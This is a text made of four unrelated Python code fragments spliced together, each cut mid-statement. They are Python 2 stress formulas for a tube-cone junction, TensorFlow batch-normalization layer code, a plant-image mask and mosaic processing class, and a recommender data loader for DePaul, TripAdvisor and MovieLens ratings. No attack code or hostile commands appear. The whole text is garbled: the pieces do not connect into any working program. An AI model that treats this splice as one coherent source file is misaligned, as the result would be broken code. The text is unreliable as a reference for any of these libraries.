self.pmin / (m.pi * self.tc * (self.dmin - self.tc * m.cos(self.alpha))) sa_max = self.pmax / (m.pi * self.tc * (self.dmax - self.tc * m.cos(self.alpha))) # # (13.6-3) sb_min = self.mmin * 4.0 / (m.pi * self.tc * (self.dmin - self.tc * m.cos(self.alpha))**2) sb_max = self.mmax * 4.0 / (m.pi * self.tc * (self.dmax - self.tc * m.cos(self.alpha))**2) # # (13.6-1) # self.sac_min = sa_min self.sac_max = sa_max self.sbc_min = sb_min self.sbc_max = sb_max # self.eq_stress_min = (sa_min + sb_min) / m.cos(self.alpha) self.eq_stress_max = (sa_max + sb_max) / m.cos(self.alpha) if self.hydro == 'ON': self.sh_hydro_t_min = self.hydro_pressure() * self.dmin / (2.0 * self.tmin) self.sh_hydro_c_min = self.hydro_pressure() * self.dmax / (2.0 * self.tc) print "Hydro is on" self.sh_hydro_c_max = self.hydro_pressure() * self.dmin / (2.0 * self.tc) self.sh_hydro_t_max = self.hydro_pressure() * self.dmax / (2.0 * self.tc) #print 'Hydro_t_min', self.sh_hydro_t_min #print 'Hydro_c_min', self.sh_hydro_c_min #print 'Hydro_c_max', self.sh_hydro_c_max #print 'Hydro_t_max', self.sh_hydro_t_max # def Bending_stress(self): # # (13.6.2.2.2) Bending stress # if self.info_prepared != 'YES': self.prepare_info() # # sbjt : is the local bending stress at the tubular side of the junction # sbjc : is the local bending stress at the cone side of the junction # # (13.6-4) # self.sbjt_min = 0.6 * self.tmin * m.sqrt(self.dmin * (self.tmin + self.tc)) / self.tmin**2 * \ (self.sat_min + self.sbt_min) * m.tan(self.alpha) # self.sbjt_max = 0.6 * self.tmax * m.sqrt(self.dmax * (self.tmax + self.tc)) / self.tmax**2 * \ (self.sat_max + self.sbt_max) * m.tan(self.alpha) # # (13.6-5) # self.sbjc_min = 0.6 * self.tmin * m.sqrt(self.dmin * (self.tmin + self.tc)) / self.tc**2 * \ (self.sat_min + self.sbt_min) * m.tan(self.alpha) # self.sbjc_max = 0.6 * self.tmax * m.sqrt(self.dmax * (self.tmax + self.tc)) / self.tc**2 * \ (self.sat_max + self.sbt_max) * m.tan(self.alpha) # def hoop_stresses(self): # # (13.6.2.2.3) Hoop Stresses # # (13.6-6) # self.sht_min = 0.45 * m.sqrt(self.dmin / self.tmin) * (self.sat_min + self.sbt_min) * m.tan(self.alpha) self.sht_max = 0.45
beta, epsilon=self.epsilon, data_format=self._data_format) def _fused_batch_norm_inference(): return nn.fused_batch_norm( inputs, gamma, beta, mean=self.moving_mean, variance=self.moving_variance, epsilon=self.epsilon, is_training=False, data_format=self._data_format) output, mean, variance = utils.smart_cond( training, _fused_batch_norm_training, _fused_batch_norm_inference) if not self._bessels_correction_test_only: # Remove Bessel's correction to be consistent with non-fused batch norm. # Note that the variance computed by fused batch norm is # with Bessel's correction. sample_size = math_ops.cast( array_ops.size(inputs) / array_ops.size(variance), variance.dtype) factor = (sample_size - math_ops.cast(1.0, variance.dtype)) / sample_size variance *= factor training_value = utils.constant_value(training) if training_value is None: one_minus_decay = _smart_select(training, lambda: self._one_minus_decay, lambda: 0.) else: one_minus_decay = self._one_minus_decay if training_value or training_value is None: mean_update = self._assign_moving_average(self.moving_mean, mean, one_minus_decay) variance_update = self._assign_moving_average(self.moving_variance, variance, one_minus_decay) if context.in_graph_mode(): # Note that in Eager mode, the updates are already executed when running # assign_moving_averages. So we do not need to put them into # collections. self.add_update(mean_update, inputs=inputs) self.add_update(variance_update, inputs=inputs) return output def _renorm_correction_and_moments(self, mean, variance, training): """Returns the correction and update values for renorm.""" stddev = math_ops.sqrt(variance + self.epsilon) # Compute the average mean and standard deviation, as if they were # initialized with this batch's moments. mixed_renorm_mean = (self.renorm_mean + (1. - self.renorm_mean_weight) * mean) mixed_renorm_stddev = (self.renorm_stddev + (1. - self.renorm_stddev_weight) * stddev) # Compute the corrections for batch renorm. r = stddev / mixed_renorm_stddev d = (mean - mixed_renorm_mean) / mixed_renorm_stddev # Ensure the corrections use pre-update moving averages. with ops.control_dependencies([r, d]): mean = array_ops.identity(mean) stddev = array_ops.identity(stddev) rmin, rmax, dmax = [self.renorm_clipping.get(key) for key in ['rmin', 'rmax', 'dmax']] if rmin is not None: r = math_ops.maximum(r, rmin) if rmax is not None: r = math_ops.minimum(r, rmax) if dmax is not None: d = math_ops.maximum(d, -dmax) d = math_ops.minimum(d, dmax) # When not training, use r=1, d=0, and decay=1 meaning no updates. r = _smart_select(training, lambda: r, lambda: array_ops.ones_like(r)) d = _smart_select(training, lambda: d, lambda: array_ops.zeros_like(d)) decay = _smart_select(training, lambda: self.renorm_momentum, lambda: 1.) def _update_renorm_variable(var, weight, value): """Updates a moving average and weight, returns the unbiased value.""" # Update the variables without zero debiasing. The debiasing will be # accomplished by dividing the exponential moving average by the weight. # For example, after a single update, the moving average would be # (1-decay) * value. and the weight will be 1-decay, with their ratio # giving value. # Make sure the weight is not updated until before r and d computation. value = array_ops.identity(value) with ops.control_dependencies([value]): weight_value = array_ops.constant(1., dtype=weight.dtype) new_var = moving_averages.assign_moving_average( var, value, decay, zero_debias=False) new_weight = moving_averages.assign_moving_average( weight, weight_value, decay, zero_debias=False) return new_var / new_weight with ops.colocate_with(self.moving_mean): new_mean = _update_renorm_variable(self.renorm_mean, self.renorm_mean_weight, mean) with ops.colocate_with(self.moving_variance): new_stddev = _update_renorm_variable(self.renorm_stddev, self.renorm_stddev_weight, stddev) # Make sqrt(moving_variance + epsilon) = new_stddev. new_variance = math_ops.square(new_stddev) - self.epsilon return (r, d, new_mean, new_variance) def call(self, inputs, training=False): if self.num_virtual_batches > 1: # Virtual batches (aka ghost batches) can be simulated by using some # reshape/transpose tricks on top of base batch normalization. original_shape = [-1] + inputs.shape.as_list()[1:] expanded_shape = [-1, self.num_virtual_batches] + original_shape[1:] # Will cause errors if num_virtual_batches does not divide the batch size inputs = array_ops.reshape(inputs, expanded_shape) ndims = len(expanded_shape) if self.axis < 0: axis = ndims + self.axis else: axis = self.axis + 1 # Account for the added dimension # Permute the num_virtual_batch dimension (dim 1) to be adjacent to axis # TODO(b/66257056): when multi-axis batch normalization is implemented, # this permutation trick and the combined_dim reshape are no longer # necessary and can be reworked to simply use broadcasting. permutation = ([0] + list(range(2, axis)) + [1, axis] + list(range(axis + 1, ndims))) inverse_permutation = [x[1] for x in sorted(zip(permutation, range(ndims)))] inputs = array_ops.transpose(inputs, perm=permutation) # Combine the axis and num_virtual_batch dimension in order to take # advantage of fused batch normalization combined_dim = expanded_shape[1] * expanded_shape[axis] perm_shape = [-1] + inputs.shape.as_list()[1:] combined_shape = (perm_shape[:axis - 1] + [combined_dim] + perm_shape[axis + 1:]) inputs = array_ops.reshape(inputs, combined_shape) # After the above reshape, the batch norm axis is the original self.axis # Undoes the reshaping and transposing tricks done above def undo_virtual_batching(outputs): outputs = array_ops.reshape(outputs, perm_shape) outputs = array_ops.transpose(outputs, perm=inverse_permutation) outputs = array_ops.reshape(outputs, original_shape) return outputs if self.fused: outputs = self._fused_batch_norm(inputs, training=training) if self.num_virtual_batches > 1: return undo_virtual_batching(outputs) return outputs # First, compute the axes along which to reduce the mean / variance, # as well as the broadcast shape to be used for all parameters. input_shape = inputs.get_shape() ndim = len(input_shape) reduction_axes = list(range(len(input_shape))) del reduction_axes[self.axis] broadcast_shape = [1] * len(input_shape) broadcast_shape[self.axis] = input_shape[self.axis].value # Determines whether broadcasting is needed. needs_broadcasting = (sorted(reduction_axes) != list(range(ndim))[:-1]) scale, offset = self.gamma, self.beta # Determine a boolean value for `training`: could be True, False, or None. training_value = utils.constant_value(training) if training_value is not False: # Some of the computations here are not necessary when training==False # but not a constant. However, this makes the code simpler. mean, variance = nn.moments(inputs, reduction_axes) mean = _smart_select(training, lambda: mean, lambda: self.moving_mean) variance = _smart_select(training, lambda: variance, lambda: self.moving_variance) if self.renorm: r, d, new_mean, new_variance = self._renorm_correction_and_moments( mean, variance, training) # When training, the normalized values (say, x) will be transformed as # x * gamma + beta without renorm, and (x * r + d) * gamma + beta # = x * (r * gamma) + (d * gamma + beta) with renorm. scale = array_ops.stop_gradient(r, name='renorm_r') offset = array_ops.stop_gradient(d, name='renorm_d') if self.gamma is not None: scale *= self.gamma offset *= self.gamma if self.beta is not None: offset += self.beta else: new_mean, new_variance = mean, variance # Update moving averages when training, and prevent updates otherwise. decay = _smart_select(training, lambda: self.momentum, lambda: 1.) mean_update = moving_averages.assign_moving_average( self.moving_mean, new_mean, decay, zero_debias=False) variance_update = moving_averages.assign_moving_average( self.moving_variance, new_variance, decay, zero_debias=False) if context.in_graph_mode(): self.add_update(mean_update, inputs=inputs) self.add_update(variance_update, inputs=inputs) else: mean, variance = self.moving_mean, self.moving_variance def _broadcast(v): if needs_broadcasting and v is not None: # In this case we must explicitly broadcast all parameters. return array_ops.reshape(v, broadcast_shape) return v outputs = nn.batch_normalization(inputs, _broadcast(mean), _broadcast(variance), _broadcast(offset), _broadcast(scale), self.epsilon) if self.num_virtual_batches > 1: return undo_virtual_batching(outputs) return outputs def batch_normalization(inputs, axis=-1, momentum=0.99, epsilon=1e-3, center=True, scale=True, beta_initializer=init_ops.zeros_initializer(), gamma_initializer=init_ops.ones_initializer(), moving_mean_initializer=init_ops.zeros_initializer(), moving_variance_initializer=init_ops.ones_initializer(), beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, training=False, trainable=True, name=None, reuse=None, renorm=False, renorm_clipping=None, renorm_momentum=0.99, fused=None, num_virtual_batches=1): """Functional interface for the batch normalization layer. Reference: http://arxiv.org/abs/1502.03167 "Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift" <NAME>, <NAME> Note: when training, the moving_mean and moving_variance need to be updated. By default the update ops are placed in `tf.GraphKeys.UPDATE_OPS`, so they need to be added as a dependency to the `train_op`. For example: ```python update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(update_ops): train_op = optimizer.minimize(loss) ``` Arguments: inputs: Tensor input. axis: An `int`, the axis that should be normalized (typically the features axis). For instance, after a `Convolution2D` layer with `data_format="channels_first"`, set `axis=1` in `BatchNormalization`. momentum: Momentum for the moving average. epsilon: Small float added to variance to avoid dividing by zero. center: If True, add offset of `beta` to normalized tensor. If False, `beta` is ignored. scale: If True, multiply by `gamma`. If False, `gamma` is not used. When the next layer is linear (also e.g. `nn.relu`), this can be disabled since the scaling can be done by the next layer. beta_initializer: Initializer for the beta weight. gamma_initializer: Initializer for the gamma weight. moving_mean_initializer: Initializer for the moving mean. moving_variance_initializer: Initializer for the moving variance. beta_regularizer: Optional regularizer for the beta weight. gamma_regularizer: Optional regularizer for the gamma weight. beta_constraint: An optional projection function to be applied to the `beta` weight after being updated by an `Optimizer` (e.g. used to implement norm constraints or value constraints for layer weights). The function must take as input the unprojected variable and must return the projected variable (which must have the same shape). Constraints are not safe to use when doing asynchronous distributed training. gamma_constraint: An optional projection function to be applied to the `gamma` weight after being updated by an `Optimizer`. training: Either
= "{}_median_{}".format(dbg_str, median_filter_size) min_t, max_t = min(min_t, max_t), max(min_t, max_t) mask = cv2.inRange(c, min_t, max_t) stored_string = "{}_min_{}_max{}".format(dbg_str, min_t, max_t) return mask, stored_string def remove_hor_noise_lines(self, **kwargs): min_line_size = kwargs.get("min_line_size", 20) c = kwargs.get("mask", self.mask) fully_isolated = kwargs.get("fully_isolated", True) max_iter = kwargs.get("max_iter", 100) if c is None: return dict(mask=None, lines=[]) stable_ = False iter_ = 0 all_lines = [] while not stable_ and (iter_ < max_iter): stable_ = True iter_ += 1 msk_data = ipc.MaskData(mask=c) for l in msk_data.lines_data: if (l.solidity >= 0.99) and (l.nz_span >= msk_data.mask_width - 4): ld_up, ld_down = msk_data.find_top_bottom_non_full_lines(l.height_pos) l.merge_or(ld_up, ld_down) all_lines.append([(l.height_pos, 0, msk_data.mask_width)]) c[l.height_pos] = 0 for i in l.nz_pos: c[l.height_pos][i] = 255 else: lines = msk_data.horizontal_lines_at( l.height_pos, min_line_size, fully_isolated ) if not lines: continue all_lines.append(lines) for i, line in enumerate(lines): stable_ = False cv2.line(c, (line[1], line[0]), (line[2], line[0]), 0, 1) self.store_image(c, f"cleaned_image_iter{iter_}") return dict(mask=c, lines=all_lines) def retrieve_stored_image(self, img_name): """Retrieves stored image from image_list using key. For some keys, image will be generated even if not present in image_list Arguments: img_name {str} -- key to stored image Generated keys details: * If key contains 'exp_fixed', exposure fixed image will be used as base if present, if not current_image will be used Generated keys: * source: Returns raw source image * current_image: Returns current default image. * mask_on_exp_fixed_bw_with_morph: Returns image as black and white background with colored parts where the mask is active. Morphology data will be printed on top of image. * mask_on_exp_fixed_bw: Returns image as black and white background with colored parts where the mask is active. * mask_on_exp_fixed_bw_roi: Returns image as black and white background with colored parts where the mask is active. Morphology data will be printed on top of image with ROIs on top * exp_fixed_roi: Image with stored ROIs on top * exp_fixed_pseudo_on_bw: Returns image as black and white background with pseudo colored parts where the mask is active. Returns: boolean -- True if successful numpy array -- stored image """ if img_name.lower() == "": return None elif img_name.lower() == "source": return self.source_image elif img_name.lower() == "current_image": return self.current_image elif img_name.lower() == "mask" and self.mask is not None: return self.mask.copy() else: for dic in self.image_list: if dic["name"].lower() == img_name.lower(): return dic["image"] if "exp_fixed" in img_name.lower(): foreground = self.retrieve_stored_image("exposure_fixed") if foreground is None: foreground = self.current_image if img_name.lower() == "mask_on_exp_fixed_bw_with_morph": return self.draw_image( src_image=foreground, src_mask=self.mask, background="bw", foreground="source", bck_grd_luma=120, contour_thickness=6, hull_thickness=6, width_thickness=6, height_thickness=6, centroid_width=20, centroid_line_width=8, ) elif img_name.lower() == "mask_on_exp_fixed_bw": return self.draw_image( src_image=foreground, src_mask=self.mask, background="bw", foreground="source", bck_grd_luma=120, ) elif img_name.lower() == "mask_on_exp_fixed_bw_roi": return self.draw_rois( img=self.draw_image( src_image=foreground, src_mask=self.mask, foreground="source", background="bw", ), rois=self.rois_list, ) elif img_name.lower() == "exp_fixed_roi": return self.draw_rois( img=foreground, rois=self.rois_list, ) elif img_name.lower() == "exp_fixed_pseudo_on_bw": return self.draw_image( src_image=foreground, channel="l", src_mask=self.mask, foreground="false_colour", background="bw", normalize_before=True, ) return None def build_msp_mosaic(self, normalize=False, median_filter_size=0): """Builds mosaic using all available MSP images :return: """ has_main = False mosaic_image_list = [] for c in self.file_handler.channels_data: img = None if c[0] == "chla": continue elif c[0] == "msp": img = self.get_channel( src_img=self.current_image, channel=c[1], normalize=normalize, median_filter_size=median_filter_size, ) elif c[0] in ["rgb", "lab", "hsv"]: if has_main: continue img = self.current_image has_main = True if img is not None: self.store_image(img, c[2]) mosaic_image_list.append(c[2]) size = math.sqrt(len(mosaic_image_list)) d, m = divmod(size, 1) if m != 0: d += 1 d = int(d) mosaic_image_list = np.array( np.append( mosaic_image_list, ["" for _ in range(len(mosaic_image_list), d * d)] ) ).reshape((d, d)) return ( mosaic_image_list, self.build_mosaic(self.current_image.shape, mosaic_image_list), ) def build_channels_mosaic( self, src_img, rois=(), normalize=False, median_filter_size=0, ): """Builds mosaic of channels using parameters :param src_img: :param rois: :param normalize: :param median_filter_size: :return: Mosaic image """ mosaic_data_ = {} for color_space, channel, channel_name in ipc.create_channel_generator( self.file_handler.channels ): channel_image = self.get_channel( src_img, channel, "", rois, normalize, median_filter_size ) img_name = f"{channel_name}_{normalize}_{median_filter_size}" self.store_image(channel_image, img_name) if color_space not in mosaic_data_.keys(): mosaic_data_[color_space] = [img_name] else: mosaic_data_[color_space].append(img_name) mosaic_image_list = np.array( [mosaic_data_[cs] for cs in ipc.CHANNELS_FLAT.keys()] ) return mosaic_image_list, self.build_mosaic(src_img.shape, mosaic_image_list) def build_mosaic( self, shape=None, image_names=None, background_color: tuple = (125, 125, 125), padding: tuple = 2, images_dict: dict = {}, ) -> np.ndarray: """Creates a mosaic aggregating stored images Arguments: shape {numpy array} -- height, width, channel count image_names {array, list} -- array of image names Returns: numpy array -- image containing the mosaic """ if image_names is None: image_names = self._mosaic_data if isinstance(image_names, np.ndarray): image_names = image_names.tolist() if len(image_names) > 0 and not isinstance(image_names[0], list): image_names = [image_names] column_count = len(image_names[0]) line_count = len(image_names) if shape is None: shape = ( self.height * line_count + padding * line_count + padding, self.width * column_count + padding * column_count + padding, 3, ) canvas = np.full(shape, background_color, np.uint8) if len(image_names) == 0: return canvas def parse_line(a_line, a_line_idx, a_cnv): for c, column in enumerate(a_line): if isinstance(column, str): src_img = self.retrieve_stored_image(column) if src_img is None: src_img = images_dict.get(column, None) else: src_img = column if src_img is None: continue else: r = RectangleRegion( left=int((shape[1] / column_count) * c), width=int(shape[1] / column_count), top=int((shape[0] / line_count) * a_line_idx), height=int(shape[0] / line_count), ) r.expand(-padding) a_cnv = ipc.enclose_image(a_cnv, src_img, r) try: for l, line in enumerate(image_names): parse_line(line, l, canvas) except Exception as e: logger.exception(f'Failed to build mosaic, because "{repr(e)}"') return canvas @staticmethod def _params_to_string(**kwargs): return "".join([f"[{k}:{v}]" for k, v in kwargs.items()]) @time_method def default_process(self, **kwargs): res = True self.rois_list = [] self.image_list = [] mode = kwargs.get("method", "process_mode_test_channels") try: params_dict = kwargs.get("clean_params", None) if not params_dict: params_list = kwargs.get("params", []) params_dict = {} for param_ in params_list: params_dict[param_["name"]] = param_["value"] func = getattr(self, mode, self.process_image) res = func(**params_dict) except Exception as e: res = False logger.exception( f'Failed default process {mode}, exception: "{repr(e)}"', ) finally: self.print_images() return res def check_source(self): if self.is_color_checker: logger.error( "HANDLED FAILURE color checker", ) return False if self.is_msp and (self.retrieve_msp_images() != 8): logger.error( f"Wrong number of MSP files expected 8, received {self.retrieve_msp_images()}" ) if self.is_corrupted: logger.error( "Image has been tagged as corrupted", ) return False return True def init_csv_data(self, source_image): return False def _fix_source_image(self, img): return img def preprocess_source_image(self, **kwargs): return kwargs.get("src_img", self.current_image) def build_channel_mask(self, source_image, **kwargs): self._mosaic_data, mosaic_image_ = self.build_channels_mosaic( source_image, self.rois_list ) self.store_image(mosaic_image_, "full_channel_mosaic") return False def crop_mask(self): self.mask = self.apply_rois(self.mask, "mask_roi_all") return True def clean_mask(self, source_image): return True def ensure_mask_zone(self): return True def build_mosaic_data(self, **kwargs): return True def finalize_process(self, **kwargs): return True def update_analysis_params(self, **kwargs) -> dict: """Updates analysis params from keyword arguments Children may override this function Returns: dict -- dictionnary containing analysis options """ pseudo_color_channel = kwargs.get( "pseudo_color_channel", "l" if self.is_msp else "v" ) boundary_position = kwargs.get("boundary_position", -1) return dict( background="source", foreground="false_colour", pseudo_color_channel=pseudo_color_channel, boundary_position=boundary_position, ) @time_method def process_image(self, **kwargs): """ Process image using default settings :param kwargs: :return: """ res = False try: if not self.check_source(): return self.init_rois() img = self.current_image if not self.good_image: logger.error( "Image failed to load", ) return img = self.preprocess_source_image(src_img=img) self.init_csv_data(img) if self.is_empty_pot: self.csv_data_holder.fill_values() res = True return res = self.build_channel_mask(img, **kwargs) if not res: logger.error( "Failed to build channel mask", ) return res = self.crop_mask() if not res: logger.error( "Failed to crop mask for", ) return res = self.clean_mask(source_image=img.copy()) if not res: logger.error("Failed to clean mask") return res = self.ensure_mask_zone() if not res: logger.error( "Mask not where expected to b", ) return analysis_options = self.update_analysis_params(**kwargs) if kwargs.get("threshold_only", 0) != 1: res = self.extract_image_data( mask=self.mask, boundary_position=analysis_options["boundary_position"], pseudo_color_channel=analysis_options["pseudo_color_channel"], ) if self.store_images: self.store_image( self.draw_image( src_image=self.current_image, src_mask=self.mask, background="bw", foreground="source", bck_grd_luma=120, contour_thickness=6, hull_thickness=6, width_thickness=6, height_thickness=6, centroid_width=20, centroid_line_width=8, ), "shapes", ) self.build_mosaic_data(**kwargs) self.finalize_process(**kwargs) except Exception as e: logger.exception(f'Failed to process image, because "{repr(e)}"') res = False finally: self.print_images() return res def rois_contains(self, tag, pt): """Tests if at least one ROI with tag contains point Arguments: tag {str} -- tag pt {Point} -- point Returns: boolean -- True if contained """ for roi in self.rois_list: if (tag == "" or tag == roi.tag) and roi.contains(pt): return True return False def rois_intersects(self, tag: str, cnt) -> bool: """Checks if intersection between contour and rois is empty :param tag: target roi tag :param cnt: contour :return: True if intersection is not empty
<filename>data_utils.py from __future__ import division from __future__ import print_function import numpy as np import pandas as pd import scipy.sparse as sp import random import pdb # For automatic dataset downloading from urllib.request import urlopen from zipfile import ZipFile import shutil import os.path try: from BytesIO import BytesIO except ImportError: from io import BytesIO def data_iterator(data, batch_size): """ A simple data iterator from https://indico.io/blog/tensorflow-data-inputs-part1-placeholders-protobufs-queues/ :param data: list of numpy tensors that need to be randomly batched across their first dimension. :param batch_size: int, batch_size of data_iterator. Assumes same first dimension size of all numpy tensors. :return: iterator over batches of numpy tensors """ # shuffle labels and features max_idx = len(data[0]) idxs = np.arange(0, max_idx) np.random.shuffle(idxs) shuf_data = [dat[idxs] for dat in data] # Does not yield last remainder of size less than batch_size for i in range(max_idx // batch_size): data_batch = [dat[i * batch_size:(i + 1) * batch_size] for dat in shuf_data] yield data_batch def map_data(data): """ Map data to proper indices in case they are not in a continues [0, N) range Parameters ---------- data : np.int32 arrays Returns ------- mapped_data : np.int32 arrays n : length of mapped_data """ uniq = list(set(data)) id_dict = {old: new for new, old in enumerate(sorted(uniq))} # print(f"id_dict {id_dict}") data = np.array([id_dict[x] for x in data]) # print(f"dataaaaa {data}") max_value = np.max(data) n = len(uniq) return data, id_dict, n def download_dataset(dataset, files, data_dir): """ Downloads dataset if files are not present. """ if not np.all([os.path.isfile(data_dir + f) for f in files]): url = "http://files.grouplens.org/datasets/movielens/" + dataset.replace('_', '-') + '.zip' request = urlopen(url) print('Downloading %s dataset' % dataset) if dataset in ['ml_100k', 'ml_1m']: target_dir = 'raw_data/' + dataset.replace('_', '-') elif dataset == 'ml_10m': target_dir = 'raw_data/' + 'ml-10M100K' else: raise ValueError('Invalid dataset option %s' % dataset) with ZipFile(BytesIO(request.read())) as zip_ref: zip_ref.extractall('raw_data/') os.rename(target_dir, data_dir) # shutil.rmtree(target_dir) def load_data(fname, seed=1234, verbose=True): """ Loads dataset and creates adjacency matrix and feature matrix Parameters ---------- fname : str, dataset seed: int, dataset shuffling seed verbose: to print out statements or not Returns ------- num_users : int Number of users and items respectively num_items : int u_nodes : np.int32 arrays User indices v_nodes : np.int32 array item (movie) indices ratings : np.float32 array User/item ratings s.t. ratings[k] is the rating given by user u_nodes[k] to item v_nodes[k]. Note that that the all pairs u_nodes[k]/v_nodes[k] are unique, but not necessarily all u_nodes[k] or all v_nodes[k] separately. u_features: np.float32 array, or None If present in dataset, contains the features of the users. v_features: np.float32 array, or None If present in dataset, contains the features of the users. seed: int, For datashuffling seed with pythons own random.shuffle, as in CF-NADE. """ u_features = None v_features = None edge_features = None sim_users=None print('Loading dataset', fname) data_dir = 'raw_data/' + fname if fname == 'DePaul': print("I am DePaul") data_dir = '...\data\DePaul' files = ['/ratings.txt'] sep = '\t' filename = data_dir + files[0] dtypes = { 'u_nodes': np.int32, 'v_nodes': np.str, 'ratings': np.float32} data = pd.read_csv( filename, sep=sep, header=None, names=['u_nodes', 'v_nodes', 'ratings', 'time', 'location', 'companion'], dtype=dtypes) data_array = data.values.tolist() data_array = np.array(data_array) u_nodes_ratings = data_array[:, 0].astype(dtypes['u_nodes']) v_nodes_ratings = data_array[:, 1].astype(dtypes['v_nodes']) ratings = data_array[:, 2].astype(dtypes['ratings']) rating_dict = {r: i for i, r in enumerate(np.sort(np.unique(ratings)).tolist())} # {0:1, 1:2, 2:3, 3:4, 4:5} time = data_array[:, 3] location = data_array[:, 4] companion = data_array[:, 5] time_s = set(list(time)) time_s.remove('-1') time_dict = {f: i for i, f in enumerate(time_s, start=0)} location_s = set(list(location)) location_s.remove('-1') location_dict = {f: i for i, f in enumerate(location_s, start=len(time_dict))} companion_s = set(list(companion)) companion_s.remove('-1') companion_dict = {f: i for i, f in enumerate(companion_s, start=4)} N_edgeFeature = len(time_dict) + len(location_dict) + len(companion_dict) u_nodes_ratings, u_dict, num_users = map_data(u_nodes_ratings) v_nodes_ratings, v_dict, num_items = map_data(v_nodes_ratings) edge_features = np.zeros((num_users, num_items, N_edgeFeature), dtype=np.float32) # UxIxC edge_features_list = np.zeros((len(u_nodes_ratings), N_edgeFeature), dtype=np.float32) edge_features_list_f = [] j = 0 i=0 for _, row in data.iterrows(): u_id = row['u_nodes'] v_id = row['v_nodes'] if v_id in v_dict.keys() and u_id in u_dict.keys(): if row['time'] != '-1': edge_features[u_dict[u_id], v_dict[v_id], time_dict[row['time']]] = 1. edge_features_list[i, time_dict[row['time']]] = 1. if row['location'] != '-1': edge_features[u_dict[u_id], v_dict[v_id], location_dict[row['location']]] = 1. edge_features_list[i, location_dict[row['location']]]= 1. if row['companion'] != '-1': edge_features[u_dict[u_id], v_dict[v_id], companion_dict[row['companion']]] = 1. edge_features_list[i, companion_dict[row['companion']]] = 1. temp1=edge_features_list[i,:].tolist() edge_features_list_f.append(temp1) j += 1 i += 1 u_nodes_ratings, v_nodes_ratings = u_nodes_ratings.astype(np.int64), v_nodes_ratings.astype(np.int32) ratings = ratings.astype(np.float64) ind = np.array(np.where(edge_features != 0)).T # (u v c) #non zero indices u_features = None v_features = None sim_users={} elif fname == 'Trip': print("I am Trip Advisor") data_dir = '...\data\TripAdvisor' files = ['/TA-ratingContext.txt', '/TA-IFeatures.txt', '/TA-UFeatures.txt','/TripSimilarUsers.txt'] #, sep = '\t' filename = data_dir + files[0] print(f"filename {filename}") dtypes = { 'u_nodes': np.int32, 'v_nodes': np.int32, 'ratings': np.float32} data = pd.read_csv( filename, sep=sep, header=None, names=['u_nodes', 'v_nodes', 'ratings', 'company'], dtype=dtypes) # shuffle here like cf-nade paper with python's own random class # make sure to convert to list, otherwise random.shuffle acts weird on it without a warning data_array = data.values.tolist() # random.seed(seed) # random.shuffle(data_array) data_array = np.array(data_array) u_nodes_ratings = data_array[:, 0].astype(dtypes['u_nodes']) v_nodes_ratings = data_array[:, 1].astype(dtypes['v_nodes']) ratings = data_array[:, 2].astype(dtypes['ratings']) rating_dict = {r: i for i, r in enumerate(np.sort(np.unique(ratings)).tolist())} # {0:1, 1:2, 2:3, 3:4, 4:5} company = data_array[:, 3] company_s = set(list(company)) company_dict = {f: i for i, f in enumerate(company_s, start=0)} N_edgeFeature = len(company_dict) u_nodes_ratings, u_dict, num_users = map_data(u_nodes_ratings) v_nodes_ratings, v_dict, num_items = map_data(v_nodes_ratings) edge_features = np.zeros((num_users, num_items, N_edgeFeature), dtype=np.float32) # UxIxC edge_features_list=np.zeros((len(u_nodes_ratings), N_edgeFeature),dtype=np.float32) edge_features_list_f=[] i=0 j=0 for _, row in data.iterrows(): u_id = row['u_nodes'] v_id = row['v_nodes'] if v_id in v_dict.keys() and u_id in u_dict.keys(): if row['company'] != 0: edge_features[u_dict[u_id], v_dict[v_id], company_dict[row['company']]] = 1. edge_features_list[i,company_dict[row['company']] ]=1. temp1=edge_features_list[i,:].tolist() edge_features_list_f.append(temp1) #print (temp1) i=i+1 j += 1 u_nodes_ratings, v_nodes_ratings = u_nodes_ratings.astype(np.int64), v_nodes_ratings.astype(np.int32) ratings = ratings.astype(np.float64) ############################################################################################################## filename = data_dir + files[3] print(f"filename {filename}") dtypes = { 'u_nodes': np.int32, 'v1_nodes': np.int32,'v2_nodes': np.int32,'v3_nodes': np.int32,'v4_nodes': np.int32,'v5_nodes': np.int32,} data_sim_user = pd.read_csv( filename, sep=sep, header=None, names=['u_nodes', 'v1_nodes', 'v2_nodes', 'v3_nodes', 'v4_nodes', 'v5_nodes'], dtype=dtypes) sim_users={} for _, row in data_sim_user.iterrows(): u_id = row['u_nodes'] if u_id in u_dict.keys(): key=u_dict[u_id] sim_users.setdefault(key, []) sim_users[key].append(u_dict[row['v1_nodes']]) sim_users[key].append(u_dict[row['v2_nodes']]) sim_users[key].append(u_dict[row['v3_nodes']]) sim_users[key].append(u_dict[row['v4_nodes']]) sim_users[key].append(u_dict[row['v5_nodes']]) ############################################################################################################## # Movie features (genres) sep = '\t' movie_file = data_dir + files[1] movie_headers = ['itemID', 'IC', 'IS', 'ITZ'] movie_df = pd.read_csv(movie_file, sep=sep, header=None, names=movie_headers, engine='python') IC_list = movie_df['IC'].values.tolist() IS_list = movie_df['IS'].values.tolist() ITZ_list = movie_df['ITZ'].values.tolist() # movieCountry_list= movieCountry.values.tolist() #movieLanguage_list= movieLanguage.values.tolist() #movieYear_list= movieYear.values.tolist() IC_set = set(IC_list) #IC_set.discard(0) # movieCountry_set= set(movieCountry_list) #movieCountry_set.discard(-1) #movieLanguage_set=set(movieLanguage_list) #movieLanguage_set.discard(-1) #movieYear_set=set(movieYear_list) #movieYear_.discard(-1) IS_set = set(IS_list) #IS_set.discard(0) ITZ_set = set(ITZ_list) #ITZ_set.discard(0) IC_dict = {f: i for i, f in enumerate(IC_set, start=0)} IS_dict = {f: i for i, f in enumerate(IS_set, start=(len(IC_dict)))} ITZ_dict = {f: i for i, f in enumerate(ITZ_set, start=(len(IC_dict)+len(IS_dict)))} n_features = len(IC_dict)+len(IS_dict)+len(ITZ_dict) v_features = np.zeros((num_items, n_features), dtype=np.float32) for _, row in movie_df.iterrows(): v_id = row['itemID'] if v_id in v_dict.keys(): v_features[v_dict[v_id], IC_dict[row['IC']]] = 1. v_features[v_dict[v_id], IS_dict[row['IS']]] = 1. v_features[v_dict[v_id], ITZ_dict[row['ITZ']]] = 1. # User feature sep = '\t' users_file = data_dir + files[2] users_headers = ['user id', 'UC', 'US'] users_df = pd.read_csv(users_file, sep=sep, header=None, names=users_headers, engine='python') UC_set = set(users_df['UC'].values.tolist()) UC_dict = {f: i for i, f in enumerate(UC_set, start=0)} 